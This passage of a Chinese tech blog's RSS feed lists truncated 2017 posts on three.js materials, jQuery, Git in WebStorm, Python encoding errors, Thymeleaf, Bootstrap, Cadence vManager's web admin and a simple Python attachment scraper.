      <description>这一篇将要介绍的内容是如何为物体的每一个面单独指定材质。也许一些老资格的 three.js men 会想到 MeshFaceMaterial 材质。但在新版 three.js 中已经不存在这种材质了，因为原则上来讲，旧版中的 MeshFaceMaterial 材质其实就是一个材质数组。举个例子，假如我们在场景中加入一个立方体，这个立方体上有六个面，你可以通过定义一个长度为六的材质数组来为每一个面单独指定一种材质（比如不同的颜色）即可。代码实现也很简单，如下代码片段所示：&#xA;var matArray = []; matArray.push(new THREE.MeshBasicMaterial({color: 0x009e60})); matArray.push(new THREE.MeshBasicMaterial({color: 0x0051ba})); matArray.push(new THREE.MeshBasicMaterial({color: 0xffd500})); matArray.push(new THREE.MeshBasicMaterial({color: 0xff5800})); matArray.push(new THREE.MeshBasicMaterial({color: 0xc41e3a})); matArray.push(new THREE.MeshBasicMaterial({color: 0xffffff})); var cube = new THREE.Mesh(new THREE.BoxGeometry(3, 3, 3), matArray);在这个代码片段中，我们先创建了一个名为 matArray 的数组，用来保存各个面所对应的材质（立方体一共有六个面，因此我们对应创建了六个 MeshBasicMaterial 材质）。然后用这个材质数组来构建一个网格。 接下来，让我们在此基础上来研究一下，看看如何生成出一个类似魔方的图形出来，如下图所示：&#xA;大概的思路是，魔方由一些小方块组成，规律是：沿 x 轴方向 3 个，沿 y 轴方向 3 个，沿 z 轴方向 3 个，核心代码如下：&#xA;var cubeGeometry = new THREE.BoxGeometry(2.9, 2.9, 2.9); var group = new THREE.</description>
    </item>
    <item>
      <title>three.js 04-04 之 MeshNormalMaterial 材质</title>
      <link>https://bchobby.github.io/posts/a3bb7e42b3675d0976bcadb471b14020/</link>
      <pubDate>Wed, 06 Dec 2017 14:26:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a3bb7e42b3675d0976bcadb471b14020/</guid>
      <description>本篇将要介绍的这个 MeshNormalMaterial 网格法向量材质，是一种比较特殊的材质。它使得物体的每一个面的颜色都从该面向外指的法向量计算得到的。所谓法向量是指与面垂直的向量。法向量在 three.js 库中有着广泛的应用。它可以用来决定光的反射方向，在三维物体上映射材质时起到辅助作用。还可以在计算光照、阴影时提供有用信息，从而为物体表面像素上色。&#xA;想要理解 MeshNormalMaterial 材质，最直观的就是先来看一个具体的示例，完整代码如下：&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;title&amp;gt;示例 04.04 - MeshNormalMaterial&amp;lt;/title&amp;gt; &amp;lt;script src=&#34;../build/three.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script src=&#34;../build/js/controls/OrbitControls.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script src=&#34;../build/js/libs/stats.min.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script src=&#34;../build/js/libs/dat.gui.min.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script src=&#34;../jquery/jquery-3.2.1.min.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;style&amp;gt; body { /* 设置 margin 为 0，并且 overflow 为 hidden，来完成页面样式 */ margin: 0; overflow: hidden; } /* 统计对象的样式 */ #Stats-output { position: absolute; left: 0px; top: 0px; } &amp;lt;/style&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;!-- 用于 WebGL 输出的 Div --&amp;gt; &amp;lt;div id=&#34;webgl-output&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;!-- 用于统计 FPS 输出的 Div --&amp;gt; &amp;lt;div id=&#34;</description>
    </item>
    <item>
      <title>数据显示：中国的程序员是世界上最牛的程序员</title>
      <link>https://bchobby.github.io/posts/9616a9ca19be060794f2affc626e507f/</link>
      <pubDate>Wed, 06 Dec 2017 14:19:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9616a9ca19be060794f2affc626e507f/</guid>
      <description>写在前面：一直觉得中国的程序员想法多，肯钻研肯学习，但却不知道原来中国的程序员是世界上最牛的程序员。说来可能不信，但根据 HackerRank 官网的一篇报道，数据显示中国的程序员就是世界上最牛的程序员。特将此文翻译成中文，分享给大家。&#xA;如果问哪里的程序员最牛，很多人肯定会认为是美国。毕竟美国拥有很多杰出的程序员，如比尔·盖茨、 肯·汤普森、 C 语言之父丹尼斯·里奇、唐纳德·克努特。但是，这些年，印度的程序员规模增长是全世界最快的，俄罗斯的黑客也越来越锋芒毕露。有什么办法来确定哪个国家的程序员是最牛的吗？&#xA;在 HackerRank 网站上，哪些国家在编程挑战赛中表现最厉害呢？通过数据，我们希望可以找到问题的答案。&#xA;在 HackerRank 网站上，为了帮助程序员提高技能，我们举行过数以千计的编程挑战赛。来自世界各地成千上万的程序员参加了这些挑战赛，从 Python 到算法到安全到分布式系统都有涉及。我们的社区也有超过 150 万开发者的排名，并且社区的人数每天都在增长。&#xA;根据我们的数据显示，中国和俄罗斯拥有最具才华的程序员。中国程序员在数学、功能程序设计和数据结构方面超过了世界其他国家的程序员，而俄罗斯程序员则在算法领域占据主导地位，算法也是最流行和最具竞争力的领域。虽然美国和印度在 HackerRank 上也有不少优秀的程序员，但他们也只能排在第 28 和第 31。&#xA;1、整体综合排名&#xA;我们先从程序员中最受欢迎的测试类型开始分析。HackerRank 程序员可选择参与 15 个不同领域，下表显示了各个领域的比例 ：&#xA;遥遥领先的领域是算法领域，这个领域得到了近 40% 的程序员青睐。这个领域包括数据排序，动态编程，搜索关键字和其他基于逻辑的任务方面的挑战。对于算法测试，程序员可使用他们选择的语言，这可能也解释了该领域如此受欢迎的部分原因。排在第二位和第三位的 Java 和数据架构分别都占到了接近 10% 的比例。而分布系统和安全的占比最低。&#xA;那么，基于这些测试，哪个国家的程序员整体得分最高呢？&#xA;为了弄清楚，我们查看了各个国家所在领域的平均得分。计算平均得分前我们又为每个领域制定了打分标准（通过从每个分数减去平均值，然后除以标准差，也称为z分数），这样的话，即使每个领域的难度有差异，但我们也能对不同领域的个人打分，并形成从整体到个体的比较体系。为了让结果更直观，我们根据 z 分数框架的原理，做了一个 1-100 分数框架来解释。&#xA;我们统计了 HackerRank 上程序员最多的 50 个国家，得出下面这张表单：&#xA;由于中国的程序员得分最高，所以将中国的分数作为 100 的基准分，则俄罗斯的分数为 99.9 ，两国仅相差 0.01 。另外，波兰和瑞士也以 98 的高分进入前列。巴基斯坦得分仅为 57.4 。&#xA;印度和美国为全世界贡献了最多的程序员，但没有进入榜单的前 25 名 ，只分别以 76 和 78 的分数排名 31 和 28 。</description>
    </item>
    <item>
      <title>jquery对象的定义和使用</title>
      <link>https://bchobby.github.io/posts/a806962d1aed2e3e810540b34278cdc0/</link>
      <pubDate>Wed, 06 Dec 2017 08:53:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a806962d1aed2e3e810540b34278cdc0/</guid>
      <description> 美元符($),下划线(_)可以作为类名和方法名，其他特殊字符都不行 jquery中不能定义 美元符($)的方法 -- $(){} ，自定义的美元符方法会覆盖jQuery中的$ $是jQuery的入口，它本身是一个函数，可以传入不同类型的参数，字符串，匿名函数 //传入的函数==window.onload $(function(){ alert(&#34;ddd&#34;); }) 两种方式效果等同 ，后者不推荐使用(过期,底版本jquery使用) $(function() { //匿名函数内可以在dom元素初始化完成后，实现自定义的代码逻辑&#xA;}) $(document).ready(function() {&#xA;alert(&#34;ddd&#34;); }) dom对象（js中）：标签对象（Button,Attr等)，Window,Document对象 jQuery 对象：&#xA;就是通过 jQuery 包装 DOM 对象后产生的对象(数组)&#xA;是 jQuery 独有的&#xA;无法使用 DOM 对象的任何方法, 同样 DOM 对象也不能使用 jQuery 里的任何方法&#xA;建议约定：如果获取的是 jQuery 对象, 那么要在变量前面加上 $. css,jquery选择器：找到满足选择器条件的dom元素对应的jquery对象 --- $(&#34;选择器&#34;) &amp;lt;input type=&#34;text&#34; id=&#34;tx&#34; value=&#34;44&#34;&amp;gt; $(function() { //通过id选择器获取jquery对象 var tx=$(&#34;#tx&#34;); //调用jquery中的方法获取文本框的值 alert(tx.val()); }) jquery优化：尽量使用id选择器，通过id选择器获取的jquery对象唯一 </description>
    </item>
    <item>
      <title>webstorm中使用git管理服务器上的代码——入门级</title>
      <link>https://bchobby.github.io/posts/2a45e1a45b0ec0092f303d6edcfa08c0/</link>
      <pubDate>Tue, 05 Dec 2017 20:22:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2a45e1a45b0ec0092f303d6edcfa08c0/</guid>
      <description>一、首先要确保电脑已经成功安装好git了。（记住git的安装位置） 二、这里需要给webstorm配置一下： 依次点击：file –&amp;gt; Settings –&amp;gt; Version Control –&amp;gt;Git&#xA;只需要在红框部分选择git的正确安装路径（找到git.exe），点击OK，配置完成。 如果不确定git路径是否正确，可以点击红框后面的Test按钮，如果出现下方提示，表示正确。&#xA;三、将服务器上的项目检出到本地： 依次选择：VCS –&amp;gt; Checkout from Version –&amp;gt; Git 依次输入git仓库的地址，父目录路径 和 当前目录名&#xA;同第二步，可以点击右侧的Test按钮，检测git仓库地址是否正确，检测成功提示如下：&#xA;点击Clone，选择Yes开始克隆。根据提示打开本地克隆的项目，就可以看到想要的文件了。&#xA;四、以下就是webstorm中的git操作了 要想获取git仓库上的最新文件，可以在最外层目录上右键，依次选择 Git–&amp;gt;Repository –&amp;gt; Pull。注意webstorm中本地文件的颜色，黑色的代表和git仓库上的代码同步，其他颜色可能代表本地新建的文件没有加入git管理，或者加入了没有提交，或者对文件进行了修改还没有提交。&#xA;1、新建（修改）文件 每次新建文件的时候，都会询问是否将文件加入git管理，选择Yes：&#xA;这时项目中就多了一个绿色的文件。 当修改了某个文件的时候，这个文件也会变成绿色。 代表下一次提交的时候会被提交。&#xA;2、撤销操作 如果一个文件修改之后又不想修改了；或者误删了一些东西；或者新添加的文件不想在下一次提交到git仓库；… 可以将其还原到上一个版本。 操作方法：在这个文件上右键，选择Git –&amp;gt; Revert&#xA;3、提交到git仓库 为防止多人提交文件产生冲突，一定要注意：&#xA;注意：在提交操作之前，要先进行pull操作，获取到git仓库上最新的项目，再提交。&#xA;pull操作即上面提到的：最外层目录上右键，依次选择 Git–&amp;gt;Repository –&amp;gt; Pull。&#xA;提交操作：在文件或目录上右键，依次选择：Git –&amp;gt; Commit File（Commit Directory） 左上部分可以选择要提交的文件（像是.idea之类的配置文件不用提交）；左下部分是日志信息，在这里写明本次提交改动了那些地方；Commit按钮处 点击 Commit and Push，再选择Push，就完成提交了。&#xA;4、查看历史 右键 –&amp;gt; Git –&amp;gt; Show History 这里的Log和History标签里可以看到git仓库的修改记录。&#xA;或是点击 下方标签栏左侧的Version Control：&#xA;选择历史版本后，双击右侧的文件可以打开该文件的修改记录，如下图： 这样就可以看到 谁在什么时间修改了什么文件 了。</description>
    </item>
    <item>
      <title>大数据有的这些哪些硬伤，伤到你了么？</title>
      <link>https://bchobby.github.io/posts/d89f72b8784c9d3c14a10e3fcb2cbb72/</link>
      <pubDate>Tue, 05 Dec 2017 15:33:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d89f72b8784c9d3c14a10e3fcb2cbb72/</guid>
      <description>可能目前所有的技术都涉及到大数据，但这并不意味着大数据是绝对可靠的。在许多情况下，大数据曾造成过严重事故，但事故的确切原因并不总是很清楚。可能是检测到错误报告、技术故障、缺乏工具、数据不完整、数据不正确甚至是不必要的数据。&#xA;毫无疑问，如果有上述提到的错误，那最终结果将会与期望值完全不同。更糟糕的是，结果有时可能没有被分析，导致一系列严重的后果。&#xA;大数据的缺陷&#xA;由于大数据和云的存在，超级计算机才为任何人所用。然而，我们用来分析和应用海量信息的这一工具通常都有一个致命的缺陷。大部分数据分析都是基于错误的模型，因此错误是不可避免的。&#xA;问题的起因就是大数据太“大”了。考虑到我们拥有的数据量，有时甚至使用有缺陷的模型来产生有用的结果。有时侯对自己的技术过于自负，当模型出现故障时，结果就会变得非常难看。&#xA;大数据失败案例&#xA;Google在2008年推出了大数据这项服务，目的是要预测25个国家的流感疫情。逻辑很简单：分析谷歌在特定地区的流感搜索查询。将搜索结果与该地区流感活动的历史记录进行比较。基于这些结果，活动水平被分为低、中、高或极高。&#xA;乍一看，这似乎是一个很合理的想法，但实际上并不是这样。在2013年流感高峰期，Google的流感分析一塌糊涂。原因是算法有缺陷，没有考虑到几个因素。例如，如果搜索“冷”或“发烧”这类词，并不一定意味着搜索人正在找流感症状。Google无法从这场灾难般的失误中恢复过来，最终导致了这个项目在2013年崩溃了。&#xA;大数据失败的原因&#xA;迄今为止，谷歌流感趋势项目并不是唯一失败的。我们需要吸取教训，不要重蹈覆辙。以下是导致大数据失败的一些原因：&#xA;1. 缺乏数据调配和数据管理&#xA;通常情况下，组织往往不完全了解他们已有的数据，但仍然决定在此基础上开展新的项目。缺乏关于数据处理的文档、存储、策略和其他的程序。这种情况下，大数据咨询公司可以为您的企业提供一个清晰的路线图和指导，说明应该如何处理您已经拥有的数据，这才是正确战胜大数据的第一步。&#xA;2. 未定目标和战略&#xA;有太多难以理解的IT术语和营销术语，此外，市场上有太多大数据产品，选择合适的产品很困难。在做任何决定之前，找出实现目标所需的服务和技术非常重要。“在大数据上做小数据”，意思是应该在少量数据上评估您的大数据架构，以确保选择正确的产品。&#xA;3. 沟通很重要&#xA;数据科学和大数据是领域知识、数学、统计专业知识和编程技能的复杂组合。然而，同时它也必须具有商业意义。通常IT部门和管理层不能理解彼此作出的的变更。为了确保您的大数据对IT和业务领导者都有意义，在项目中确保IT人员与业务人员之间保持良好的沟通。&#xA;太大太快&#xA;当您第一次开始执行大数据项目时，会有很多未定义的因素，比如预算、技术、路线等等。选择一个小项目，并测量成功的几率。基准测试进展的一个好方法是创建原型或验证概念来验证您已经完成的工作。如果早期阶段存在缺陷，那么推进到项目的下一个阶段是没有意义的。&#xA;缺乏IT人才&#xA;执行项目的人必须精通新技术，这对于快节奏的IT环境来说是一个挑战。&#xA;通过迭代来创新&#xA;许多组织在决定之行大数据项目时会感到束手无策，这就是为什么采用迭代方法处理大数据至关重要。组织应该尝试设法让员工自由进行数据实验。最重要的大数据技术是开源的，而且，很多平台也可以作为云服务提供便利，从而进一步降低了失败的机率。</description>
    </item>
    <item>
      <title>Csdn修改账户手机绑定问题</title>
      <link>https://bchobby.github.io/posts/150b0fa0ffb673a6dbf4e4cf59a48767/</link>
      <pubDate>Tue, 05 Dec 2017 09:52:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/150b0fa0ffb673a6dbf4e4cf59a48767/</guid>
      <description>好久没有登录csdn系统了，忽然发现现在登录系统要绑定手机，以前的账户手机绑定正好反了，需要解绑手机，查找半天这个功能隐藏的太隐蔽了，还是发个博客记录一下，防止以后找不到。&#xA;修改手机号只能用新手机号替换不能，不能取消手机绑定。&#xA;操作步骤很简单，鼠标移动到头像，点击【账户设置】-【账户安全】-【密码保护】最下面，可以看到目前绑定的手机号，点击修改即可。 好了，修改手机号说明就写到这里。</description>
    </item>
    <item>
      <title>解决bootstrap中大于1200px的显示问题</title>
      <link>https://bchobby.github.io/posts/fc54bfaad688df39f651926a28f9f458/</link>
      <pubDate>Mon, 04 Dec 2017 18:05:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fc54bfaad688df39f651926a28f9f458/</guid>
      <description> 对于宽度大于1200px的网页（比如1920px）,bootstrap默认的container类的宽度是(1140px + @grid-gutter-width)此处为数据来源，总之只占用了页面中的一部分，效果如图：&#xA;如果我们要做一个宽屏的显示效果，将整个导航栏充满一整行，那么我们可以选择定制bootstrap，在bootstrap定制页面中，选择你要修改的项，在container sizes中进行修改，你可以指定为具体的数值，当然为了进行适应，你可以修改为百分数的形式如（100%），最后下载你定制的bootstrap，在生成的文件中，会比原来的文件多一个config.json,最后实现效果。效果如图所示：&#xA;更新：&#xA;今天使用bootstra 的时候突然发现，要覆盖宽屏，可以不用定制boostrap就可以实现，那就是在你需要的部分，添加&#xA;&amp;lt;div class=&#34;container-fluid row&#34;&amp;gt;&amp;lt;/div&amp;gt;&#xD;其中，container-fluid的作用是100%的宽度，占据全部视口（viewport）的宽度，如果不添加row，会有默认的边距，导致两边有缝隙，加上就好了。如图： </description>
    </item>
    <item>
      <title>&#39;ascii&#39; codec can&#39;t decode byte 0xef in position 0:ordinal not in range(128)错误解决与原理分析</title>
      <link>https://bchobby.github.io/posts/1143a9a7123bfd236119c91476ccaa15/</link>
      <pubDate>Fri, 01 Dec 2017 10:05:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1143a9a7123bfd236119c91476ccaa15/</guid>
      <description>写python代码时出现’ascii’ codec can’t decode byte 0xef in position 0:ordinal not in range(128)的错误。&#xA;在解决错误之前，首先要了解unicode和utf-8的区别。 unicode指的是万国码，是一种“字码表”。而utf-8是这种字码表储存的编码方法。unicode不一定要由utf-8这种方式编成bytecode储存，也可以使用utf-16,utf-7等其他方式。目前大多都以utf-8的方式来变成bytecode。 其次，Python中字符串类型分为byte string 和 unicode string两种。 如果在python文件中指定编码方式为utf-8(#coding=utf-8)，那么所有带中文的字符串都会被认为是utf-8编码的byte string（例如：mystr=”你好”），但是在函数中所产生的字符串则被认为是unicode string。 问题就出在这边，unicode string 和 byte string 是不可以混合使用的，一旦混合使用了，就会产生这样的错误。例如： self.response.out.write(“你好”+self.request.get(“argu”)) 其中，”你好”被认为是byte string，而self.request.get(“argu”)的返回值被认为是unicode string。由于预设的解码器是ascii，所以就不能识别中文byte string。然后就报错了。&#xA;以下有两个解决方法： 1.将字符串全都转成byte string。 self.response.out.write(&#34;你好&#34;+self.request.get(&#34;argu&#34;).encode(&#34;utf-8&#34;)) 2.将字符串全都转成unicode string。 self.response.out.write(u&#34;你好&#34;+self.request.get(&#34;argu&#34;)) byte string转换成unicode string可以这样转unicode(unicodestring, &#34;utf-8&#34;) 最后再补充点，出现报错后，将byte string转化为Unicode string的方法 apply_content = unicode(dict[‘apply_content’], ‘utf-8’)&#xA;直接将str变成unicode&#xA;另外可以用type(string)检查字符串的类型是Unicode还是str类型</description>
    </item>
    <item>
      <title>_sys_exit( int x)  {  	x = x;  }    报错</title>
      <link>https://bchobby.github.io/posts/d25625e30d84df198107289081fb6eaa/</link>
      <pubDate>Tue, 28 Nov 2017 23:17:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d25625e30d84df198107289081fb6eaa/</guid>
      <description>_sys_exit( int x) { x = x; }&#xA;报错主要是因为没有void&#xA;void _sys_exit( int x) { x = x; }</description>
    </item>
    <item>
      <title>c语言中char* 代表什么</title>
      <link>https://bchobby.github.io/posts/67bc43b81fe0a63eaae9df15a183ed03/</link>
      <pubDate>Tue, 28 Nov 2017 22:45:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/67bc43b81fe0a63eaae9df15a183ed03/</guid>
      <description>1 c语言中，char* 代表 字符指针类型，当其指向一个字符串的第一个元素时，它就可以代表这个字符串了&#xA;2 示例&#xA;#include&amp;lt;stdio.h&amp;gt;&#xA;int main(){&#xA;char* str = &#34;learn c&#34;;&#xA;printf(&#34;%s\n&#34;, str);&#xA;getchar();&#xA;return 0;&#xA;}&#xA;/*运行结果是&#xA;learn c&#xA;*/&#xA;3 分析&#xA;在char* str=&#34;learn c&#34;;中,&#34;learn c&#34;是长度为8的字符数组常量，其最后一个元素是&#39;\0&#39;，而这句代码执行的结果是将str指向了&#34;learn c&#34;的第一个字符&#39;l&#39;，str后面的连续内存依次存放&#39;e&#39;,&#39;a&#39;,&#39;r&#39;,&#39;n&#39;,&#39; &#39;,&#39;c&#39;,&#39;\0&#39;&#xA;4 扩展&#xA;c语言中的字符串是用字符数组来表示的，只是c语言规定了一个字符串结束标志，即字符&#39;\0&#39;，也就是遇到字符&#39;\0&#39;时，这个字符串就结束了&#xA;5 关于 * 和 &amp;amp; 的谜题&#xA;假设有一个 int 类型的变量 a，pa 是指向它的指针，那么*&amp;amp;a和&amp;amp;*pa分别是什么意思呢？&#xA;*&amp;amp;a可以理解为*(&amp;amp;a)，&amp;amp;a表示取变量 a 的地址（等价于 pa），*(&amp;amp;a)表示取这个地址上的数据（等价于 *pa），绕来绕去，又回到了原点，*&amp;amp;a仍然等价于 a。&#xA;&amp;amp;*pa可以理解为&amp;amp;(*pa)，*pa表示取得 pa 指向的数据（等价于 a），&amp;amp;(*pa)表示数据的地址（等价于 &amp;amp;a），所以&amp;amp;*pa等价于 pa。&#xA;本文转自 skinglzw 51CTO博客，原文链接：http://blog.51cto.com/skinglzw/1923815，如需转载请自行联系原作者</description>
    </item>
    <item>
      <title>js、网页拨打电话</title>
      <link>https://bchobby.github.io/posts/93f7b3b2afef5b1358482c772b037893/</link>
      <pubDate>Tue, 28 Nov 2017 17:04:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/93f7b3b2afef5b1358482c772b037893/</guid>
      <description> js、网页拨打电话，一个a链接就可以。&#xA;&amp;lt;a href=&#34;tel:1828xxxxxxx&#34;&amp;gt;1828xxxxxxx&amp;lt;/a&amp;gt; &amp;lt;a href=&#34;tel://1828xxxxxxx&#34;&amp;gt;1828xxxxxxx&amp;lt;/a&amp;gt; 意外金喜的博客：http://blog.csdn.net/zzwwjjdj1 </description>
    </item>
    <item>
      <title>thymeleaf遍历map集合输出key&#43;value</title>
      <link>https://bchobby.github.io/posts/d0083ffbb2838fe7e590053f1d09f5a5/</link>
      <pubDate>Tue, 28 Nov 2017 12:17:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d0083ffbb2838fe7e590053f1d09f5a5/</guid>
      <description>&amp;lt;span style=&#34; padding-right: 0px;&#34; th:each=&#34;blogId,key : ${keysMap}&#34; th:if=&#34;${not #lists.isEmpty(keysMap)}&#34;&amp;gt; &amp;lt;a th:href=&#34;@{&#39;/blog/articles/&#39;+${key.current.key} }&#34;&amp;gt; &amp;lt;span style=&#34;font-size: 15px;right:0px;border:0px; font-family: ;font-style:normal&#34; th:text=&#34;${key.current.value}&#34;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt; &amp;lt;/span&amp;gt; blogId,key----&amp;gt;命名规范改为blogId,blogIdStat list，treemap一样可以用current得到当前遍历的元素的各种索引和key value 甚至集合大小。 还有index，count等等属性 keysMap是mv对象带过来的hashmap. 其他如session servletcontext是需要前缀的 session,application，如果使用thymeleaf内置对象httpRequest则需要使用# 。&#xA;blogIdStat相等于foreach的变量【该变量在thymeleaf中有默认值是varStat,但是也可以向我这样随便取个名字，就是为了自己方便，知道意思】，current表示thymeleaf中指向当前正在遍历的元素的node(节点)。value是该节点的值，key是键 ${blogIdStat.current.value}&#34; 即表示获取当前元素的值，key.current.key是当前元素的键【这里因为我的集合是hashmap，所以有这个key】&#xA;blogIdStat就是这个key，我这个名字意思是我代表关键字的， 容易引起混乱，命名还是规范点用blogIdStat&#xA;th:each=&#34;blogId,blogIdStat: ${keysMap}&#34;&#xA;4月15日&#xA;该代码功能是存储存档（hashmap），显示存档信息，且与文章id相关联</description>
    </item>
    <item>
      <title>动态sql(一):xml</title>
      <link>https://bchobby.github.io/posts/5924f6a865a2293a7835c1b7af47523f/</link>
      <pubDate>Tue, 28 Nov 2017 10:41:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5924f6a865a2293a7835c1b7af47523f/</guid>
      <description>create table grade( gid number primary key, gname varchar2(20), sex number(1) ); -- Add comments to the columns comment on column STUDENT.sex is &#39;0男 1女&#39;; create table student( sid number primary key, sname varchar2(20), gid number references grade(gid) ); 实体类： public class Student { private Integer sid; private String sname; private Integer gid; private Integer sex; public Integer getSid() { return sid; } public void setSid(Integer sid) { this.sid = sid; } public String getSname() { return sname; } public void setSname(String sname) { this.</description>
    </item>
    <item>
      <title>【iOS秘籍】-下载历史版本App超详细教程</title>
      <link>https://bchobby.github.io/posts/4c91af3d668615577d2ba57e47b8e91e/</link>
      <pubDate>Mon, 27 Nov 2017 15:25:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4c91af3d668615577d2ba57e47b8e91e/</guid>
      <description>http://www.jianshu.com/p/edfed1b1822c&#xA;有些时候我们需要下载旧版本的 App 进行研究或者其他用途，然而在 iOS 下，苹果的 App Store 里面默认只能下载最新版本的 App，对滴，就是这么任性，不服不行。然而在 Android 里面任意一个应用商店都可以下载任意版本的 App，就是这么开放。重点来啦，今天我要教大家的就是利用 iTunes 下载任意历史版本的 App，任意哟，下面开始教程</description>
    </item>
    <item>
      <title>python 自动下载网站相关附件</title>
      <link>https://bchobby.github.io/posts/e91d347609bab566e32ce6e443ced109/</link>
      <pubDate>Mon, 27 Nov 2017 14:40:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e91d347609bab566e32ce6e443ced109/</guid>
      <description>论坛里有人问如何写个简单的爬虫. 要求如下:&#xA;每天的最新文章里面的附件&#xA;如何做到&#xA;定时下载&#xA;#看了一下这个网站, 还好. 好久没折腾过 urllib什么的, 然后写了一个, 测试可以.&#xA;在正则匹配时, 建议把数据的编码方式转为脚本编码方式一致.&#xA;脚本如下:&#xA;1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 #!/usr/bin/env python #-*- coding:utf-8 -*- import urllib import re url = &#34;http://www.bjjy.gov.cn&#34; def get_html_data(u): h = urllib.urlopen(u).read() t = &#34;</description>
    </item>
    <item>
      <title>flask建站实践笔记002-admin登录页面</title>
      <link>https://bchobby.github.io/posts/35e5033d4e4fd21e9c1dcff34e77487b/</link>
      <pubDate>Sun, 26 Nov 2017 20:17:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/35e5033d4e4fd21e9c1dcff34e77487b/</guid>
      <description>文章和视频链接 在我的个人博客里面</description>
    </item>
    <item>
      <title>cadence vmanager（六） vmanager的web功能</title>
      <link>https://bchobby.github.io/posts/5c56b52d8ac9cfe5cd7d792a1c2d0d48/</link>
      <pubDate>Sun, 26 Nov 2017 19:53:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5c56b52d8ac9cfe5cd7d792a1c2d0d48/</guid>
      <description> 通过vmanager连上server，可以查看各个client运行的session，以及分析run的结果，metric，反标vplan。如果只是想看结果，那就要每次启动vmanager工具，去连接server，然后查看。 cadence提供了vmanager的web功能，使我们可以不用vmanager工具，直接使用网页浏览器，查看结果。并且在web上，还可以对vmanager进行配置。 一、web的打开 打开浏览器，输入https://172.16.66.51:7777，就可以登录vmanager的web网站了。会提示输入用户名，密码，以及连接的project。 注意，网站是https开头，不是http开头。打开这网站，可能会有如下的问题： secure connection failed Issue certificate is invalid. (Error code:sec_error_ca_cert_invalid)&#xA;出现上面的问题，是浏览器的配置问题，这个具体查一下百度。https和http是有区别的，带有安全的认证，出现这个错误是认证失败，所以访问失败。 默认为，有root用户，密码是letmein。 登陆的界面，如下图所示： 菜单栏，有显示Administration，表示是超级用户登录。普通用户登录，是没有的。 一般以root权限登录，对server进行配置和权限设置。 对于regression，需要单独的license，公司软件，目前这license还没装上，所以展示不了。 二、Administration界面 下面，重点介绍下Administration界面。包括了6个方面的设置。 1、project设置 工程相关的设置，一般默认就好。 2、project level security 设置工程的访问权限。 在configuration选项页，将选项都选上，使能权限控制。 必要的权限控制是必须的，这样，可以防止有人误操作，将数据给清空掉。 在Access control选项页中，可以针对用户，或者用户组，设置权限。 在project permission中，可以设置权限。 包括4个权限： TC creation&#xA;可以对tracking配置，snapshot，chart进行操作 包括创建/编辑/删除&#xA;session creation&#xA;可以对session进行操作 包括启动，重新运行，导入，收集，集合，创建&#xA;UDA control&#xA;对用户自定义数据操作 包括导入/导出/删除&#xA;Project Management&#xA;对工程管理 修改client的权限。默认，谁创建这个工程，就有这个权限。&#xA;如果，对某一个用户，没有开发sesssion creation权限，那么这个用户，就不能启动session。 3、system设置 系统相关的设置。 可以对工程进行设置，添加工程，修改工程，删除工程。要添加工程，需要multi-project的license授权。 4、system security配置 这里是配置系统的安全。 在configuration选项页，将Enable Linux Group Authorization选项开启，启动服务器的用户策略授权。这样，在服务器中工作的所有用户，就可以通过自己的用户名和密码登录了。 在system users和system groups选项页，可以针对每个用户，或者组，设置权限。 这里的权限选项，和工程设置的权限选项，不一样了。 license control：开放针对license的功能进行操作的权限 project control：开放针对project的功能进行操作的权限 manager security：开放针对security的功能进行操作的权限 </description>
    </item>
    <item>
      <title>opencv无法打开源文件opencv2/opencv.hpp文件</title>
      <link>https://bchobby.github.io/posts/68b11ac691e0d17d558c1310ce733bf5/</link>
      <pubDate>Sat, 25 Nov 2017 15:45:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/68b11ac691e0d17d558c1310ce733bf5/</guid>
      <description>今天在使用vs2015配置OpenCV的时候遇到了这个问题： 无法打开 源 文件 &#34;opencv2/opencv.hpp&#34; 解决方式：前面都已经将Opencv的路径配置完毕后，将Debug的默认×86改成×64就可以了</description>
    </item>
    <item>
      <title>为什么(什么时候)使用Redux？（三张图）</title>
      <link>https://bchobby.github.io/posts/ec5252060c1569947391a72932d48df8/</link>
      <pubDate>Fri, 24 Nov 2017 15:33:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ec5252060c1569947391a72932d48df8/</guid>
